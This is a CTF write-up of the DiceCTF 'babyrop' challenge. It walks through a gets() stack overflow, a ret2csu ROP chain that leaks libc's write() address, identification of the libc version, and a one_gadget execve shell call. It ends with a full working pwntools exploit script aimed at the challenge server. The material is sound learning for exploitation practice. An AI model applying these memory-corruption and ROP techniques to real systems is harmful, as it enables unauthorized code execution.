[MENU] | |||||||||
[THOUGHTS] | [TECH RESOURCES] | [TRASH TALK] | |||||||
[DANK MEMES] | [FEATURED ARTISTS] | [W] |
Hello guys! In this blog, I will explain my ROP chain to get the flag of this task.
The chain is really tricky for a baby challenge. (at least for me) (this write-up was a draft in 7 feb, not published until 8)
FizzBuzz101: Who wants to write a ret2libc
Firstly, let's look at the challenge binary checksec output.
- $ pwn checksec babyrop
- [*] '/home/ctf/dice/rop/babyrop'
- Arch: amd64-64-little
- RELRO: Partial RELRO
- Stack: No canary found
- NX: NX enabled
- PIE: No PIE (0x400000)
The meanings are;
Do not need to leak canary value (No canary found).
Cannot execute our payload (NX enabled).
Can put some hard coded addresses in our payload because PIE does not exist.
With the help of r2-ghidradec, let's examine our binary's main to understand and decide what to do.
- [0x00401050]> pdg @@ sym.main
-
- undefined8 main(void)
- {
- char *s;
-
- sym.imp.write(1, "Your name: ", 0xb);
- sym.imp.gets(&s);
- return 0;
- }
- [0x00401050]>
It is a really simple main and really understandable. (Is this the reason why it's named 'baby'? idk.)
At this step, i would like to know how much bytes needed to overwrite main's return address and get the control flow of binary.
To figure out this, we can send a payload created with pwn.cylic(some_integer) then check $rsp at main return line or we can directly
check with objdump, especially in this example, it will be really easy to understand.
- 0000000000401136 main:
- 401136: 55 push rbp
- 401137: 48 89 e5 mov rbp,rsp
- 40113a: 48 83 ec 40 sub rsp,0x40
- 40113e: ba 0b 00 00 00 mov edx,0xb
- 401143: 48 8d 35 ba 0e 00 00 lea rsi,[rip+0xeba] # 402004 _IO_stdin_used+0x4
- 40114a: bf 01 00 00 00 mov edi,0x1
- 40114f: e8 dc fe ff ff call 401030 write@plt
- 401154: 48 8d 45 c0 lea rax,[rbp-0x40]
- 401158: 48 89 c7 mov rdi,rax
- 40115b: b8 00 00 00 00 mov eax,0x0
- 401160: e8 db fe ff ff call 401040 gets@plt
- 401165: b8 00 00 00 00 mov eax,0x0
- 40116a: c9 leave
- 40116b: c3 ret
- 40116c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
The buffer size can be seen at 0x401154, it is allocating 0x40(64) bytes for buffer.
This means we can put our first wanted address at 72. (buffer_size(64) + rbp(8))
At this point, we need to think about what we know, what we need, what we can, how we can.
The answers are:
1. We know;
a. The addresses of this executable wont change.
2. We need;
a. To know LIBC version
b. LIBC base address
c. Some gadgets
3. We can;
a. Use only write() GOT and PLT addresses
4. How we can;
a. With the help of write(), we can get a leak from libc (GOT)
b. After leaking libc address, will get back to another gets() call to get a shell.
With the help of ropper tool, we can easily find needed gadgets.
We will get our libc leak with write(). Write uses rdi, rsi and rdx registers.
pop rdi; ret; gadget is at 0x4011D3
pop rsi; pop r15; ret; is at 0x4011D1
But WHAT? ᵀᴴᴱᴿᴱ ᴵˢ ᴺᴼ ᴾᴼᴾ ᴿᴰˣ; ᴿᴱᵀ; ᴳᴬᴰᴳᴱᵀ
After realizing that there is no pop rdx gadget, i lost in finding an address that changes rdx register.
If we do not set rdx register, when we call write(), it won't work how we want.
The only solution I found is this line:
- 0x4011b0 __libc_csu_init+64 mov rdx, r14
When we return this address, it won't execute only this address and return another line, it will also do this and return;
- 4011b0: 4c 89 f2 mov rdx,r14
- 4011b3: 4c 89 ee mov rsi,r13
- 4011b6: 44 89 e7 mov edi,r12d
- 4011b9: 41 ff 14 df call QWORD PTR [r15+rbx*8]
- 4011bd: 48 83 c3 01 add rbx,0x1
- 4011c1: 48 39 dd cmp rbp,rbx
- 4011c4: 75 ea jne 4011b0 __libc_csu_init+0x40
- 4011c6: 48 83 c4 08 add rsp,0x8
- 4011ca: 5b pop rbx
- 4011cb: 5d pop rbp
- 4011cc: 41 5c pop r12
- 4011ce: 41 5d pop r13
- 4011d0: 41 5e pop r14
- 4011d2: 41 5f pop r15
- 4011d4: c3 ret
If you are still reading this, good. Get ready to feel nauseous.
This lines mean a lot. A lot register work is waiting for us.
We cannot change rdx register directly, we have to set r14 register before to get here. Also it will call [r15+rbx*8] and do something then
it will compare rbp and rbx registers, if not equal it will jump somewhere we do not know, also we have to set rbx and rbp values to pass
this jump. In conclusion, before get here, we have to set r15, r14, r13, r12, rbx and rbp and put something additional onto stack because of
add rsp,0x8 thing. We can start this journey at especially 0x4011ca address because of a lot of popping values to registers. Also if we can set
our registers at 0x4011b9 line correctly, we can also call write() function to leak our libc address then return to _start to clean all this mess.
At this point, we got our libc leak and got our second chance to send another payload with the one gadget magic.
One more problem is still here. What is the libc version of remote server, how will we know that?
It is okay, after getting write() function libc leak, we can compare write() offset to learn about remote server's libc version.
In this example, it was libc 2.31. Here is the full exploit code that gave me the reverse shell. Also, you will see some explanation of it.
- #!/usr/bin/env python
- # -*- coding: utf-8 -*-
- # This exploit template was generated via:
- # $ pwn template babyrop
- from pwn import *
-
- # Set up pwntools for the correct architecture
- exe = context.binary = ELF("babyrop")
- # terminal
- context.terminal = ["gnome-terminal", "-x", "sh", "-c"]
- # Many built-in settings can be controlled on the command-line and show up
- # in "args". For example, to dump all data sent/received, and disable ASLR
- # for all created processes...
- # ./exploit.py DEBUG NOASLR
-
- # libc.231, after getting leak, it is known.
- libc = ELF("./libc-2.31.so")
-
-
- def start(argv=[], *a, **kw):
- """Start the exploit against the target."""
- if args.GDB:
- return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
- else:
- return process([exe.path] + argv, *a, **kw)
-
-
- # Specify your GDB script here for debugging
- # GDB will be launched if the exploit is run via e.g.
- # ./exploit.py GDB
- gdbscript = """
- tbreak main
- continue
- """.format(
- **locals()
- )
-
- # Arch: amd64-64-little
- # RELRO: Partial RELRO
- # Stack: No canary found
- # NX: NX enabled
- # PIE: No PIE (0x400000)
-
-
- def pprint(output):
- print(output.decode("utf-8", "backslashreplace"))
-
-
- def create_payload():
- """
- 0x4011ca __libc_csu_init+90 pop rbx
- 0x4011cb __libc_csu_init+91 pop rbp
- 0x4011cc __libc_csu_init+92 pop r12
- 0x4011ce __libc_csu_init+94 pop r13
- 0x4011d0 __libc_csu_init+96 pop r14
- 0x4011d2 __libc_csu_init+98 pop r15
- 0x4011d4 __libc_csu_init+100 ret
- """
-
- """
- 0x4011b0 __libc_csu_init+64 mov rdx, r14
- 0x4011b3 __libc_csu_init+67 mov rsi, r13
- 0x4011b6 __libc_csu_init+70 mov edi, r12d
- 0x4011b9 __libc_csu_init+73 call qword ptr [r15 + rbx*8]
- """
-
- """
- 4011c6: 48 83 c4 08 add rsp,0x8
- 4011ca: 5b pop rbx
- 4011cb: 5d pop rbp
- 4011cc: 41 5c pop r12
- 4011ce: 41 5d pop r13
- 4011d0: 41 5e pop r14
- 4011d2: 41 5f pop r15
- """
-
- """
- call gets@plt gets@plt
- rdi: 0x7fffffffe710
- rsi: 0x402004
- rdx: 0xb
- rcx: 0x7ffff7ec8f67
- """
- BUF_SIZE = 72
- WRITE_PLT = p64(0x000000000401030)
- WRITE_GOT = p64(exe.got["write"])
- junk = b"\x41" * BUF_SIZE
- # 0x00000000004011d1 pop rsi; pop r15; ret;
- POP_RSI = p64(0x00000000004011D1)
- POP_RDI = p64(0x00000000004011D3)
-
- payload = (
- junk
- + p64(0x4011CA)
- + p64(0x0) # RBX VALUE must be 0
- + p64(0x1) # pop rbp
- + p64(0x1) # r12 value
- + WRITE_GOT # r13 value
- + p64(0x8) # r14 value == rdx
- + WRITE_GOT # r15 call(r15) careful! write()?
- + POP_RSI
- + WRITE_GOT
- + WRITE_GOT # pop r15
- + POP_RDI
- + p64(0x1) # WRITE TO STDOUT
- + p64(0x4011B0) # back to rdx
- + p64(0x48) # rbx again
- + p64(0x401170) # fix rbp pls
- + p64(0x1) # r12
- + p64(0x1) # r13
- + p64(0x1) # r14
- + p64(0x1) # r15
- + p64(0x414141) # junk rsp+8
- + p64(0x0000000000401050) # we came here so far, restart the binary again return to _start
- )
-
- return payload
-
-
- def prepare_to_get_shell(p: remote):
- # 0xe6e79 execve("/bin/sh", rsi, rdx)
- # constraints:
- # [rsi] == NULL || rsi == NULL
- # [rdx] == NULL || rdx == NULL
- # WARNING IN LIBC VERSION 2.31 YOU HAVE TO SET RBP VALUE SOMEWHERE WRITABLE
- # THE ONE_GADGET TOOL IS NOT GOING TO SAY IT!
- ONE_GADGET = int(libc.address) + 0xE6E79
- log.info(f"one gadget addr @ {hex(ONE_GADGET)}")
- # 0x000000000011c371: pop rdx; pop r12; ret;
- POP_RDX = int(libc.address) + 0x000000000011C371
- POP_RSI = int(libc.address) + 0x0000000000027529
- POP_RDI = int(libc.address) + 0x0000000000026B72
- SETUID = libc.sym["setuid"]
- rop3 = (
- p64(POP_RDI)
- + p64(0x0)
- + p64(SETUID)
- + p64(POP_RDX)
- + p64(0x0)
- + p64(0x0)
- + p64(POP_RSI)
- + p64(0x0)
- + p64(ONE_GADGET)
- )
- rbp = int(libc.address) + 0x1EF000
-
- get_shell(p, rbp, rop3)
-
-
- def get_shell(r: remote, rbp, payload):
-
- buffer_size = 72 - 8
- buffer = b"\x40" * buffer_size
-
- rop1 = buffer + p64(rbp) + payload
-
- r.sendline(rop1)
- r.interactive()
- r.close()
-
-
- def main():
- RSERVER = "dicec.tf"
- RPORT = 31924
- LOCAL = False
-
- if LOCAL:
- p = start()
- else:
- p = remote(RSERVER, RPORT)
- payload = create_payload()
- p.recvuntil("Your name: ")
- p.clean() # clean up
- p.sendline(payload)
-
- p.clean() # clean up idk if its necessary
- libc_leak = u64(p.recv(8).ljust(8, b"\x00"))
- libc.address = libc_leak - libc.symbols["write"]
- log.info(f"write at @ {hex(libc_leak)}")
- log.info(f"libc base @ {hex(libc.address)}")
- # after leak check libc database to know which libc is used by the binary.
- # https://libc.blukat.me/?q=write%3Af50
- """
- for me (f50):
- libc-2.32-1-x86_64
- libc-2.32-2-x86_64
- libc-2.32-3-x86_64
- libc-2.32-4-x86_64
- libc-2.32-5-x86_64
- for remote (1d0):
- libc-2.29-20.mga7.x86_64
- libc6_2.31-0ubuntu9.1_amd64
- libc6_2.31-0ubuntu9.2_amd64
- then i assumed that its ubuntu 20.04
- """
-
- prepare_to_get_shell(p)
-
-
- if __name__ == "__main__":
- main()